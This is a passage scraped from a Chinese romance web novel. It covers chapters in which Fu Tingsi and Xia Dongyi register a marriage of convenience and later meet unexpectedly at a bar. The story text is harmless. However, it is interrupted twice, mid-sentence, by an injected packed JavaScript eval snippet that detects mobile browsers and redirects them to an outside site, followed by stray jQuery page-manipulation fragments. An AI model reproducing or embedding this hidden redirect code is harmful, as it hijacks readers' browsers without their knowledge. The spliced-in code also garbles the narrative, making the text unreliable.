傅亭斯拿着茶杯,像是怕里面有毒一样,不解地望着这哥儿们迷之操作。 方棋彻演完了一套戏,发现傅亭斯还没有领悟他的言外之意,又再次拍了傅亭斯的肩膀两下:“喝吧喝吧,又不是酒,怕什么。” 傅亭斯确实有些感到渴意。 方棋彻看他喝了,遂说道:“你和夏冬意不会是在暗戳戳搞对象吧?” “噗——”傅亭斯一口水喷在了方棋彻脸上。 后面的徐亦然大笑起来,刚进来的童淼森懵懵地看着里面的这一幕。 方棋彻一脸表情复杂地用手抹掉了脸上的茶水,十分无语道:“兄弟,没有就没有,你用不着喷我吧,你喷水怪啊!” “哈哈哈哈哈哈哈。”反应过来的童淼森笑的无比大声。 方棋彻弯腰抓起躺椅上的枕头冲他扔过去:“闭嘴吧。” 这混乱的一团,把傅亭斯原本就郁闷的心情搞得更郁闷了,虽然刚刚,那一口水喷在方棋彻脸上,稍微的纾解了一下。 见傅亭斯要走,方棋彻拉住他,掏出手机给他看:“你俩没搞对象,夏冬意发这个什么意思?” 傅亭斯迈出去的脚步收住了,带着疑虑的心情看向方棋彻的手机。 目光定住的那一刻,表情也是肉眼可见的凝重了起来。 方棋彻见他用力抿着唇,眉心蹙着,神情有一种秘而不发的隐火。 更加确定了:“真的在谈啊?不是啊,你说什么话惹到她了。” 傅亭斯将手机塞回方棋彻手里。大步离开。 留下身后几人面面相觑。 “什么情况?”童淼森看着面无表情擦身过去的傅亭斯,疑惑地望向另两人。 方棋彻也走了出去:“我去找他,你们等一会儿。” 童淼森更加奇怪了,问徐亦然:“老傅和夏冬意怎么了?” 徐亦然望向门口,一脸高深莫测。 — 方棋彻在后花园找到了傅亭斯。 他那时正站在白塔前仰头望着。 那天在这里,夏冬意也是这么望着上面,当时他就在好奇,这上面到底有什么呢? 方棋彻的脚步声他听出来,始终没有转头。 直到他走到身边,出声说道:“你是不是喜欢夏冬意?” 多么突然又突兀的问题。 却一点也不让人意外。 傅亭斯沉默。他一动不动地保持着仰望的姿态,脖颈拉伸的修长,沉静幽淡的光线里,方棋彻清楚地看见他的喉结轮廓,上下轻轻地滑动了两下。 月光将他的影子拉得斜长,方棋彻看到了寂寥。 随后,傅亭斯收起了下巴,垂眼扫过来,与方棋彻视线一接,淡笑了下:“你猜她今天向我提了一个多么让我无法拒绝的提议,”他的笑意在脸上持续着,很淡很淡,似乎根本不感觉那是一种笑,而是凉薄的,冷然的自嘲。 傅亭斯很少会展露出内心的想法,大多数时候都是懒懒散散的,嘴上说些无关紧要的话,让人看不出他的喜好和憎恶,和所有游手好闲的富二代都是一样的。 这样的笑意,让方棋彻心里一惊。 听他继续说道:“夏冬意,她说,要和我结婚,但是,”他的声音轻下去,低下去,细的像一根银丝,脆弱的仿佛细微的火星就能将他烧尽了:“只是为了敷衍长辈。” 方棋彻轻轻啊了一声:“这也……她怎么想得出来的,多伤感情啊,况且你俩还认识这么多年。” 傅亭斯微微摇了摇头,不欲多言。 “不过换个角度想一想,也许这也说明她信任你。”方棋彻安慰道,“你想啊,她怎么不找别人呢,是不是?” “是吗?”傅亭斯瞥眼他,“这种信任,我宁可不要。” “……”这还挺要强的。 “我还有一点搞不懂,”方棋彻抓了抓头皮,表示费解,“既然你都喜欢她了,干嘛不跟她说清楚,说你不能接受这种方式,就直接一点,跟她告白就是了。” “不行。” “啊?” “我面子过不去。” “不是,”方棋彻实在搞不懂他,“你说你都痛苦的要死了,面子重要还是你未来的幸福重要?” “对我来说,面子更重要。” “……” 方棋彻叹口气,一脸“孺子无救也”地拍拍他的肩膀,从身边离开的时候,丢下了一句肺腑之言:“全身上下嘴巴最硬。” “……” 就在方棋彻擦身过去的时候,傅亭斯转过了身,喊住了他。 “她是不会喜欢我的。” 方棋彻脚步一顿。 傅亭斯双手插着兜,望着地面月光的影子,头低得很低,低声地重复着这句话:“她不会喜欢我的。” “在她眼里,我不过是个一无是处的富二代,幼稚又令人讨厌。” 方棋彻不相信:“可你不是啊,她认识了你那么久,不会比我们还不了解你?” 傅亭斯抬起头,抬起头。 目光灼灼地看着方棋彻。 打断了他的话。 “这是她亲口说的。” “她说——” 傅亭斯喉头微动,一字一句慢慢说着,仿佛和记忆中少女的声音重叠在了一起。 “我,夏冬意,一辈子都不要喜欢傅亭斯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054631|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那个烂醉如泥的姑娘靠在他的肩头,在他压抑着沉痛的心脏问出那句为什么之后,她俯在他耳边,眼泪一滴一滴,烫在他的皮肤上。 她呢喃道:“因为,太痛了。” 当那个痛字落音的刹那,他的心脏仿佛被她落下的眼泪烫到,猛地缩紧了。 疼痛是有记忆的,直到这一刻,也忘不掉那天的痛感。 — 这条状态发送出去之后,夏冬意等了一晚上,都没有等到傅亭斯那边任何的动静。 夏冬意暗自察觉到了不对劲的态势。 放在以前这条狗肯定会冷嘲热讽她几句,说些不好听的话。 不过也有可能他在忙着玩,压根就没看到她的心情状态,他和他那几个哥儿们,夜生活是相当丰富的,这夏冬意是很清楚的,而且有时候她也想加入他们,都会被傅亭斯拒绝,说那是他们男人的世界,她一个女孩子太危险了。 夏冬意都不知道这哪里危险了。 说不定现在傅亭斯正在哪儿潇洒呢,才不会在意她高不高兴,生不生气,过两天还会像个没事人一样突然出现,再气她一顿。夏冬意都已经习惯了。 她也才不生气呢,他都没放心上,她干嘛动气。 夏冬意有点后悔发那条朋友圈了,让别人看着笑话。而傅亭斯本人,根本无动于衷。 反正……反正傅亭斯也没看到,其实别人看不看到也无所谓……夏冬意想着,指尖在删除两个字上面摩挲了两下,往下一点,屏幕上跳出一个确认删除的选择框。 夏冬意按下了删除,看着重新空白的朋友圈,忽然松出一口气。 终于可以安心睡觉了。 — 傅亭斯回到家已经快接近凌晨。他在国外这些年,自由惯了,和父母住不习惯,早早从家里搬了出来,现在独自一个人住在外面,只想回去的时候才会回家一趟。 把车停在车库之后,直接进了电梯,上二楼房间洗澡。 天已逐渐暖转,傅亭斯洗完澡,习惯性的没穿衣服,只围了一圈浴巾,一手拿着毛巾擦着湿漉的头发,单手点开朋友圈,划了几下,又往回划了划。 发现晚上夏冬意发的那条状态不见了。 他浅皱起眉心,索性坐在沙发上,将毛巾挂在脖子上,双手操作手机。打开了夏冬意个人的朋友圈空间,她设置了仅三天可见,现在朋友圈里空白一片,什么也没有。 删掉了? 顿了顿手指,他给方棋彻发了条私信:[夏冬意晚上发的那条朋友圈,你截图了没?] 没多久,方棋彻发回一张图片过来。 傅亭斯点开看了好几秒,随后按下保存。 确定她确实是删除了。 傅亭斯站起来,去阳台上抽了根烟。 他现在抽烟抽得很少很少,只在心情不好的时候会抽。也只限一根。 阳台没有开灯,傅亭斯右手夹着烟,将烟衔进嘴里,猩红的光点勾勒着他轮廓清晰的眉眼,深吸一口气,将烟吞进肺腑,傅亭斯垂着的眼微微眯起,盯着屏幕里那张朋友圈的截图,烟雾缓缓吐了出来,模糊不清的面容,看不清的表情。 一根烟的时间,傅亭斯想清楚了。 既然她删掉了,说明这事当不了真。不过还有一种可能,她已经下定决心要做了,所以留着这条朋友圈也没意思。 如果是后者的话,怎么办? 傅亭斯掐灭了烟。 已经这么晚了,一切都等明天再说吧。 这一夜,傅亭斯睡得非常不好,做了一夜的梦,梦到夏冬意果真牵着上次那个律师的手,在逛商店,置办婚礼,一会儿又梦到她穿着洁白的婚纱,转过头问他好看吗? …… 傅亭斯惊醒过来,揉了揉脸,遮光窗帘遮挡的严丝合缝,房间里黑漆漆的。 他赤脚坐在床上,仰靠着床头缓了一会儿神。 抓起手机看时间,已经将近九点了。 民政局应该开门了吧。 如果夏冬意非结婚不可,那么这个结婚对象也只能是他。 至于她是否爱他,是为了敷衍长辈,亦或是别的理由,只要能和她结婚,别的都无所谓了。 — 今天是周一,加上昨晚没休息好,早饭又吃得饱,夏冬意几乎没两分钟打一个哈欠,掐着自己的大腿才没勉强将瞌睡虫赶跑。 然而,就在她准备起身去泡杯咖啡的时候,放在桌上的手机传来滴滴两声,夏冬意顿了顿动作,扫了眼,看到是傅亭斯的信息,心脏有一瞬的失重感,随即紧张地跳动了起来。 她为了延缓这种心跳的加急,故意放慢动作,拿过来点开,信息的内容毫无预兆地落入了眼帘。 不要脸的狗:[我到了] 似有预感般。夏冬意心脏的失重感愈加的剧烈起来。 没等她打出问号,电话突然就进来了。 看到来电显示上她给傅亭斯的备注:我家狗子。 夏冬意差点没拿住手机。 她缓了缓,接起来,语气平静的没有任何异样:“干什么啊,一大早的,催命啊,人家很忙的好吗,没空理你。” 那头传来熟悉的轻笑声:“这么忙啊,那有没有空出来结个婚。” “……”夏冬意心跳重新陷入高频运转的速度,嘴上却说:“你神经病啊,一大早的在说什么,没睡醒吗?” 傅亭斯正色道:“下来,我在电梯口等你。” “嗯?” “你要的帅哥来了。” 夏冬意握着手机的手心平白无故出了一层汗:“啥啊?” “去领证。” “现在?” “嗯,现在。” 13. 小狗不听话 夏冬意没忘记,昨晚他们闹得有多不快,今天一早小狗就乖乖摇着尾巴来了。 她脸上乐开了花。对着手机那端道:“等我一下,请个假。” 夏冬意请好假,马不停蹄拎着包走进电梯。 临出发前给傅亭斯发了一条语音信息:[我来了] 从二十七楼到达一楼大约需要一分钟的时间,当电梯叮的一声,门打开,傅亭斯出现在眼前。 这人今天穿了件白衬衫,看起来挺人模狗样的。和她身上这套连衣裙正好颜色相同,夏冬意脑海中莫名划过她和傅亭斯两人端坐在红墙前拍证件照,需要贴在结婚证上面。 她缩了缩肩膀,鸡皮疙瘩都起来了。 傅亭斯温柔地将搭在右臂上的外套披在夏冬意身上。 夏冬意狐疑地看向他。 傅亭斯弯起眼,温和地说道:“你不是冷吗?” “……你哪只眼睛看到我冷了?”夏冬意摘下他的外套,将滑落的衣服塞回傅亭斯怀里:“我热都热死了,你是想趁机报复我吧。还有,为什么突然对我这么好,肯定有诈。” “……”傅亭斯沉默了一下,决定绕开这个话题,问道:“户口本在吗?” 夏冬意顿了顿脚步:“领结婚证还要户口本的吗?” 傅亭斯气笑:“所以你诓我呢,你连结婚证需要什么材料都不知道,你还今天就去领结婚证,怎么领知道么?” 夏冬意猛地定住,直勾勾盯着傅亭斯,缓慢勾起一个诡异的笑容。 傅亭斯也就让她看着,丝毫没有脸红的说道:“是不是第一次发现我还挺帅的。” 夏冬意差点吐了,都忘了这家伙的脸皮比城墙还要厚。 “不是,”她面无表情地摇了摇头说,“只是在想,你这人得多闷骚才能憋这么久,你就直说吧,昨晚是不是早就看到了。” 傅亭斯继续往前走,迎面推来一辆装满了快递包裹的小车,傅亭斯将夏冬意往自己怀里拉了一把,这个动作几乎是下意识的。 推车过去之后,夏冬意才后知后觉地反应过来。 这天里衣服穿得单薄,她的左肩抵着傅亭斯胸口的位置,依稀能触碰到坚硬的触感,虽然有时候他发骚起来,会向她展示他那美好的肌肉,与目前的情况完全不同。尤其是她意识到傅亭斯是个男人的时候,那过分强烈的荷尔蒙气息环绕在她的周围,让人无法忽视。 傅亭斯松开了她,像是为了缓解尴尬,不露痕迹地随口说了句:“看到什么?” 夏冬意的大脑仍旧停留在前一秒的宕机状态,以及巨大的震惊之中。 她竟然对傅亭斯产生了那种感觉。 ??? 所以也没有听到他在说什么。 夏冬意大脑一片空茫,就像是机器遇到一个不在程序之中的难题,突然的卡壳,陷入死循环,无法正常运作。 她嘴里念念有词着,慢吞吞地跟着傅亭斯身后。 傅亭斯回过头看到她这副模样,掐住她的脸颊往外拉了拉,欠欠的说道:“瞧你这失神落魄的样子,我告诉你,不要太迷恋我。” 夏冬意猛地惊醒过来,重重打开他的手,在傅亭斯面前干呕了两声。 所以刚刚她怎么会产生那种错觉的? 傅亭斯开车送夏冬意回家。 眼前,他们面对一个艰巨的任务——如何把夏家的户口本偷出来。 目前的困难在于,夏冬意自己也不知道父母把户口本放在哪里了。 打电话问是最直接有效的办法。问题的关键是,要如何说才能让她父母不起疑。 正当傅亭斯边开车边思考着详尽方案的时候,夏冬意已经拿出了手机,接着听到她对那头撒娇的声音:“妈妈,我家户口本放哪了?” “我啊,也没什么,就是要跟傅亭斯去领个证……” 傅亭斯差点把刹车当油门踩了。 打完电话,夏冬意将手机扔回包包,拍拍手,对侧过头来表情复杂的男人轻轻打了个响指:“完美解决。” 傅亭斯一时不知道说什么,事情好像在朝着不可知的方向发展着,以他所不能预料的速度,迅猛的,不可挡之势。 夏冬意一点也没有顾及到他现在的心情状态,好心提醒道:“我妈妈知道了,很快你爸妈也会得到消息,然后……” 夏冬意露出惋惜的模样,摇了摇头道:“你就算现在后悔,也来不及了。” 傅亭斯手握方向盘,嘴角轻轻勾起一道微弧度,目不转睛望着前方路况,徐徐吐出两个字:“奉陪到底。” 夏冬意也勾起了嘴角。 属于他俩的游戏,好像这才刚刚开始。 没过多久,傅亭斯的手机就响了。在他掏出来的时候,夏冬意勾着坏笑,凑过去看上面的来电显示。 傅亭斯扫了她一眼,在她眼皮子底下,拇指指节微弯,按下了挂断键。 随后视线向旁边移了移,和夏冬意视线相接,傅亭斯笑了笑。 就知道他是故意的。 夏冬意撇撇嘴,撤回脑袋,这人真无聊,没意思。 嘴上却说:“你这样把你妈妈的电话挂掉了,真是不孝。” 可就在这时,夏冬意的电话也响了。 傅亭斯看过来,轻轻勾了勾嘴角,表情像是在说:你先担心担心自己吧。 夏冬意低头看了看手机,是江笑妍的电话。 “呵呵。”夏冬意冷笑了一声。 傅亭斯含着笑意,继续开他的车。 夏冬意感到头皮发麻,知道这次玩大了。 无法,只能接起电话。 “妈妈。”夏冬意语速飞快,根本不给对方开口的机会:“不是未婚先孕,也不是没告诉你们我们在谈恋爱,我也是昨天晚上才知道的,原来傅亭斯暗恋我多年,我实在太感动了,再加上之前律师伤得我实在太深了,就勉强同意了他的求婚,事情就是这么简单,你也这么告诉他爸妈吧,嗯嗯,他有点害羞不敢接电话。先不说了我亲爱的妈妈,我们现在要去办正事了,回头再见。” 夏冬意一口气说完,挂了电话,接着深吐出一口气,转头去看旁边的人。 见他没什么反应的样子,夏冬意扬起下巴,故意语气夸张道:“该怎么谢我,帮你解决了一个大难题。” 傅亭斯回过头来深深注视了她一眼,面无表情地说道:“谢谢你,老婆。” “……” 夏冬意鸡皮疙瘩又起来了。 她揉了揉胳膊:“你要报复我,也不要用这么恶心人的方式。” 说完,她弯起唇角,露出一个假得可以的笑容:“老公。” 一顿。接着。扬眉,看着傅亭斯,慢慢吐出最后一个字:“公。” 快速地收敛了嘴角的弧度。一个完美的笑容消失术。 傅亭斯脖颈稍弯,收了收唇角的笑意,眉梢眼角却仍是舒展着。 看起来心情还挺不错。 夏冬意实在搞他不明白,究竟在开心些什么。 — 夏冬意成功拿到户口本,和傅亭斯来到民政局。 前面还有几对新人,还没轮到他们。两人坐在椅子上等,夏冬意从包里取出钱夹,看了看周围,像做贼一样,小声问傅亭斯:“你带钱了没?” 傅亭斯低头望着她,对她的迷惑操作大为不解。 夏冬意从钱夹里摸出了四个硬币,对他说:“把手伸出来。” “……” 虽然不懂,但傅亭斯还是配合地伸出了手。 夏冬意把那四枚硬币放进他手心:“结婚证九块钱,我赞助你四块。” 傅亭斯:…… 夏冬意把他这无语的表情当成了另一种的解读。她微微困惑地歪了歪头:“啊?你不知道啊,不应该啊。算了,估计你也没带现金,我再赞助你五块吧。” 说着摸出了一张五元纸币,放进了傅亭斯的手里,并且伸出手指,在他手心里依次数了数:“一、二、三、四,加五元,九块。不用你出了,就当我请你吧。” “……” 傅亭斯低头看着满手心的钱币,蹙了蹙眉心。 随后,他攥紧手心,将那九块钱紧紧地握住,就在夏冬意以为他要收起这钱,正感到一阵欣慰的 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登记的工作人员却告诉他们,需要先婚检,再登记,还有,照片要自己准备。并且,登记不用支付另外的人工费。 夏冬意嘴巴都张大了,脱口对工作人员说:“我们什么都没准备,只准备了钱。” 工作人员小姐姐笑道:“第一次没有经验,很正常。” 两人离开以后,转头就跟旁边的同事说道:“刚才那对新人好亮眼哦,男生超帅,女生好甜美,也好可爱。看得人心情都好了呢。” 夏冬意跟着傅亭斯一边往外走,一边叽叽咕咕地开启了冷嘲热讽模式:“你不知道吗,还以为没有你不知道的呢,哼。” 傅亭斯停下来等她,看着她说:“结婚照和婚检报告确实不知道,但免费登记这件事我还是略有耳闻的。” “你知道你为什么不讲?”夏冬意有点被气到了。 傅亭斯懒散笑道:“那还不是为了不打扰你的兴致,只能配合你的演出了。” 夏冬意:“我呸。” “不过,”她走到了傅亭斯身边,仰头对他讲:“如果婚检报告不是必要的话,咱们也用不着。” 傅亭斯顺着她的视线,低头,眼里有疑问。 “咱也不是真的结婚,对吧?”夏冬意笑嘻嘻讲完,发现傅亭斯眼里的光亮暗淡了下来,她楞了下:“你怎么了?” “没什么。”他语气轻淡,迈开了脚步,“走吧。” 没再多说一个字,一径往前走去。 — 领完证,一起走出民政局。傅亭斯在车上把一枚结婚戒交给夏冬意。 夏冬意这才注意到,他左手的无名指上不知什么时候多出了一枚戒指。 她不想那么快就戴上,把盒子收进了包里。 谁也没有提及之后的打算,夏冬意并没有太当回事,她和傅亭斯不过是一场合作,两人各取所需,等到完成任务,各回各家各找各妈。 她的生活不会有任何改变。 夏冬意觉得,傅亭斯肯定也是这么想的。 “过会儿你要去干嘛?”夏冬意礼节性地问了他一句。 “开会。” “很好,”夏冬意点点头,“我后面应该也挺忙的,今天应该没什么时间见面了。” 车快把到她公司楼下的时候,傅亭斯才开口道:“没办婚礼之前,你暂时住自己家,新房我要先布置一下。” 夏冬意以为自己听错了。 “等等。”她做了一个打住的手势,满脸的不可置信,“你说什么,咱俩这情况,还要办婚礼?” 傅亭斯侧过头来,幽幽地说道:“咱俩这情况,你认为不办婚礼现实吗?就算我们不办,你爸妈和我爸妈会同意?” “认命吧。”他回过头,淡淡的语气。 却给人感觉他好似在笑。 莫名其妙的有一种,夏冬意产生了一种羊入虎口的危险感。 很快,她撇了撇嘴,不以为意地想,都是错觉而已。一切尽在她的掌握中。 14. 小狗不听话 快下班的时候,郁吱吱提议晚上一起吃饭,然后去酒吧潇洒。 夏冬意犹豫起来。 郁吱吱提醒她道:“我们已经两个星期没有去了哦。” 外人包括父母眼里,夏冬意虽然大大咧咧,偶尔也会耍耍小脾气,但总体来说也算乖巧懂事大方得体,绝不会做什么出格的行为,更别说像酒吧那种声乐场所。 就连傅亭斯也不知道,所以每次去酒吧那种地方,他都不会带上她,以免把她带坏了。自然而然,夏冬意并不知道他也是那的常客。 他们有所不知的是,早在读大学那会儿,她就特别热衷于飞国外参加那种有男模的派对。 起始她还不知道有这种好事,被郁吱吱带过一次之后,仿佛打开了新世界大门。 但谁都知道,夏冬意是她们几个朋友之中最怂的,可是在那种场合里,大家都喜欢带着她,因为她一个人担一个氛围组,在口嗨上没有人能强得过夏冬意,可一旦人家男模要过来和她贴贴抱抱,她绝对是第一个跑路的,迄今为止最大胆的行为就是和男模拍合照的时候,对方趁她不备贴脸亲亲,还一个劲的夸她可爱。 后来看照片里的夏冬意一副被夺舍的模样,就可以知道当时的她有多孤独无助。同伴之间也经常拿这事开她玩笑,每次去这种场合几个好友都会叫上她,实在是因为她那又菜又怂又想玩的样子,别提多有意思了。 夏冬意还在犹豫。主要是她想,今天是她和傅某人第一天扯证,虽然说也不是什么正式的结婚,晚上两人也不大可能见上面,他更不可能知道她干了什么,但是呢,装装样子也要装一下。 毕竟晚上她是要回自己家里的,太晚回家的话,她爸妈也会问的。 她这张破嘴,到时候如果不过脑子说出些什么,她自己都控制不住。 万一人设就此崩塌,那不就完蛋。 正当夏冬意张张嘴巴,想找个借口拒绝的时候,郁吱吱挽住她的手臂,像小狗狗一样,脑袋靠过来,眨着一双湿漉漉的大眼睛瞅着她:“好嘛,咚咚,宁宁也一起去,阿楚在外地赶不过来,要不然也一起了,我们姐妹几个能聚一起不容易,少了你不好玩了。” 夏冬意动摇了。虽然说这是一次假结婚,但将来的这一年,意味着她很有可能会失去自由,她是万万不能被傅亭斯抓住把柄的。 那么这一次,很有可能是她最后一次放纵了。 想到这里,夏冬意悲从心来,眼含泪意地望着郁吱吱,重重地点了点头:“去!” 郁吱吱楞了楞,她刚刚的那一番说辞竟让夏冬意如此感动,果然不愧是她的好姐们啊,抱住夏冬意,也差点泪流满面:“夏咚咚,我果然没看错人,你!我真的哭死!” “……” 夏冬意懵了一下,这姑娘咋回事,反应这么激烈。 她好像也没做什么吧。 — 五点一到,夏冬意打完卡,一分钟都没有多逗留,偕同郁吱吱火速遁了。 夏冬意懒得开车,坐了郁吱吱的车,穿过两个街区,接上孙苒宁。正是晚高峰,车子一路停停走走,达到吃饭的地方已经将近六点。 三个女孩许久未有见,从车上畅聊到下车,直到吃完饭,嘴巴都没停过,手机都没从包里拿出来过。 吃过饭,接着转战到酒吧一条街。 两地相距不远,这会儿路上也没有那么堵,用了不到十分钟就抵达“肺渡”门口。 “肺渡”是江市最早一批酒吧,现在的酒吧一条街也是从“肺渡”开始的。由于年代久远,夏冬意依稀记得自己上初中那会儿就已经知道它的存在了。 听说,“肺渡”的老板已经换过两拨了,现在的老板好像还是九五后的,和夏冬意一般大,销售理念非常新颖。两年前,“肺渡”从里到外全部整修了一遍,添加了很多设施,更符合当下年轻人的潮流。 如今,“肺渡”依旧是酒吧一条街的头牌。 夏冬意正要开门出去,被孙苒宁拉了拉手,瞥她身上的衣服:“你就穿成这样进去?” 夏冬意扫了眼身上,哦,也对,她都忘记了,还穿着职业装呢。 孙苒宁把几个购物袋递给两位好友:“姐妹们,赶紧穿上战袍。” 夏冬意随手抓过其中一个,从袋子里拎出来一条吊带鱼尾裙,挑了挑眉,哇哦了一声,她已经许久没穿成这样了,一下子都有点兴奋起来了。 随即就取出化妆包,对着镜子化了全套的浓妆。 与她往日那清新靓丽的风格,俨然像换了一个人。 三人在车上换好了衣服。推开门,下了车。并肩齐走,自带气场,一阵染着花香的春风吹过,带起了翩翩长发。夏冬意随手将一头乌黑纯粹的头发在脑后用发簪挽了个慵懒的发髻。 “肺渡”的正门和它的名声相反,十分低调却别致。 黑瓦屋檐下,两边各挂一只中式灯笼,左边灯笼上写着的是“肺”,右边灯笼上则是“渡”。 绿莹莹的竹叶从白色院墙里横斜出来。 从大门进去经过一个庭院,假山,石桥,夜晚的河水光影袅袅,打在石桥洞上,地上的氛围灯将树叶和青草渲染的一片绿意。没有人会想到这样一座充满江南情调的宅院里头,实则经营着一家酒吧。 在院子里就已经能听到里面传来的歌舞声,让人心潮澎湃,血液沸腾起来。 夏冬意和同伴们穿过一条走道,走进酒吧内部,喧嚣如涛声巨浪,耳朵似罩了层隔膜,说话都是靠吼才能听清楚。 三人熟门熟路地找了靠里面的卡座坐下。 “帅哥。”郁吱吱朝服务生招了招手:“给我们来两杯长岛冰茶,哦,再给我来一杯你们这最最烈的酒,我们这位小妞最近失恋,不烈的酒她可不喝哦。” “好的,女士,您稍等。” 服务生走后,夏冬意狠狠瞪了眼郁吱吱:“你有毛病啊,我什么时候失恋的,我怎么都不知道?” 郁吱吱眯起眼睛嘿嘿诡笑了几声:“前不久你不是跟你那个律师拜拜了吗,这不就是失恋了?” 孙苒宁好奇死了,追着问:“啊啊啊啊,什么律师什么律师,我怎么都不知道啊,到底是什么故事啊,快说快说。” 郁吱吱轻轻咳嗽了一声,意味深长地瞥了眼夏冬意,笑的很鬼畜:“说来话长,那律师是我们咚咚相亲以来最合她心意的,只可惜人家非得认为她喜欢傅亭斯,结果就因为这样的理由掰掉了。” “傅亭斯?”孙苒宁有些意外:“就你那个丑八怪竹马?你怎么可能会喜欢他?” “就说啊,”郁吱吱道:“所以我和咚咚都严重怀疑,是那个律师随便找的理由,这不是侮辱人吗?严重毁人信心!” 正这时,酒上桌了,服务员为她们依次分好,放在夏冬意面前的是一杯血腥玛丽。 她好像记得,这是傅亭斯最爱喝得那款。 夏冬意垂下眼,纤长乌黑的睫毛半遮在被昏暗环境衬得暗淡的眸子上,低头喝下一大口酒液,淡淡的说道:“都已经过去了,没什么好提了的。” 见她不欲多说什么,也没人再提了。 驻唱歌手正在激情四射地唱着一首摇滚歌曲,金属乐混合着电音,冲击着耳膜,舞池中央光影交织处,男人女人们摇头摆尾,群魔乱舞。 三人在这样的氛围里有一搭没一搭地喝酒聊天。 喝了几杯酒下去,五脏六腑受环境影响,震荡癫狂。孙苒宁心痒痒,想拉郁吱吱去跳几圈散散酒气,夏冬意是叫不动的,这人只会坐在这里看她们两个跳,拍拍手吆喝吆喝最多了,做气氛组是她的拿手好戏。 郁吱吱正要跳下高脚椅,视线不经意间扫到了拐角口一幅巨大的油画后面走出来的几个人,突如其来的振奋了起来,激动地晃了晃夏冬意的手:“草啊,咚咚,你看,那那那不就是那天那个翘臀帅哥……哇靠,好有缘,我以为此生再难相见了。” 夏冬意倒是没什么太大反应,她这会儿已经有些醉眼微薰了,动作也没有了清醒时候的灵敏,孙苒宁趴过去看热闹:“什么翘臀帅哥啊?” “就那天我发你那个啊,我后面还发了朋友圈的,赞点爆了的那条,就只有咚咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054633|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他是丑八怪。” “啊!”孙苒宁想起来,同时也一眼扫到了那边,“是他啊!草!我超级有印象,我靠,这他喵喵的不是帅哥我跟你姓,咚咚,你快看啊。” “我跟你们讲,那个人好像是这家酒吧的老板,好像是万彩集团的少爷,草,这翘臀帅哥不会也是个富二代吧?” “哇,他就是大名鼎鼎的陈勘啊,好高诶,看着有一米九的样子,比翘臀帅哥还高一点呢,就是人看起来不好接近,有点凶凶的样子,还是翘臀帅哥养眼。” 夏冬意被这两人吵得皱了皱眉,抬起头,顺着她们示意的方向,在如烟似雾不甚明朗的光线里,依稀看到了那个熟悉的身影。 他怎么会出现在这种场合? 没记错的话,夏冬意记得他以前说过自己很少来酒吧这种低俗的地方。 对,低俗。 傅亭斯形容酒吧的用词。 夏冬意以为看错了,集中注意力,眯缝起眼睛,这一次看得非常仔细。 莫奈巨大的睡莲画下,站着几个年轻男人,打眼一瞧,最引人注意的还是中间那个。倒不完全是因为他那件纯白色的衬衣,在酒吧昏沉的光线,白得好像反光一样。最主要的是,这人过于优越的头身比,和天生的衣架子,将近一米九的身高,高大挺拔,往哪儿一站都是足够吸睛的存在。 傅亭斯侧身站着,距离夏冬意这约莫四五米的距离,微微躬着脖颈,俯身听旁人说话。袖口被折叠得非常有范,撑在小臂处,那富有力量感的肌肉线条,被光线切割的分明。没有任何的装饰,却止不住的通身的气派,在忽明忽暗的光影中,异常的夺目。 夏冬意眨了眨眼睛,她以前怎么没发现,这狗竟有这样一面。 一定是她喝醉了。 一定是…… 夏冬意眯眼望着不远处那个熟悉的身影,抓了抓郁吱吱的手,靠过去在她和孙苒宁耳边悄声说道:“你们知道,他那袖子怎么叠得那么好看,都不会掉下来的?” 两人狐疑地看向她:“有什么秘密?” 夏冬意一双星月眼,弯成好看的弧度,手指往天上一指,笑意明显染上了几分醉态:“很简单,这个爱装逼的家伙,因为里面用袖箍固定的……” “你怎么知道的?”郁吱吱问。 她为什么知道? 夏冬意摇了摇头,嘿嘿笑了两声:“我也不知道,瞎猜的。” 郁吱吱看了看她面前喝尽的酒杯,叹了口气:“早知道酒量这么不行,就给她点饮料了。” 夏冬意摇摇头,笑嘻嘻道:“我没醉没醉。” 接着,她摇摇晃晃地站了起来。 郁吱吱和孙苒宁一左一右拉住她,将她按回座位:“喝得醉醺醺的,你干嘛去啊?” 夏冬意推开她俩,视线朝不远处的男人扫了扫,含糊其辞说道:“躲……躲人。” 趁他现在还没注意到,她得赶紧闪人,要不然……嗯,就完蛋了。 夏冬意手肘按着桌子,试图重新站起身来,不想按了个空,她没站稳,身体趔趄一下,差点摔下去。 “哎呦喂。”她下意识地惊呼,蓦的,感到周身一凉。 似有所预感般。 夏冬意就这么歪着身,徐徐侧过了头。 和不远处的那道视线撞在了一起。 与此同时,她的脑海中突然冒出一个念头:化这么浓的妆,穿成这样,鬼才认得出来她。 怕什么啊,看就看。 也不知是因为酒精作用,还是因这个念头而起,夏冬意抬了抬下巴,手再次摸到桌沿,挺了挺前胸,将视线用力地顶了出去。 周围的喧嚣仿佛瞬时安静了下来。 诡异的是。 于昏沉的光线中,隔着四五米的物理距离,夏冬意竟清晰地捕捉到了她那今天上午才刚领完证的,绝对不可能认出她来的,她名义上的丈夫,对她微微地扯了下唇角,戏谑的目光之下,似笑非笑的表情像是在说—— 可真巧啊。 我们又见面了。 大忙人。 15. 小狗不听话 傅亭斯没想到会在这里遇上夏冬意。 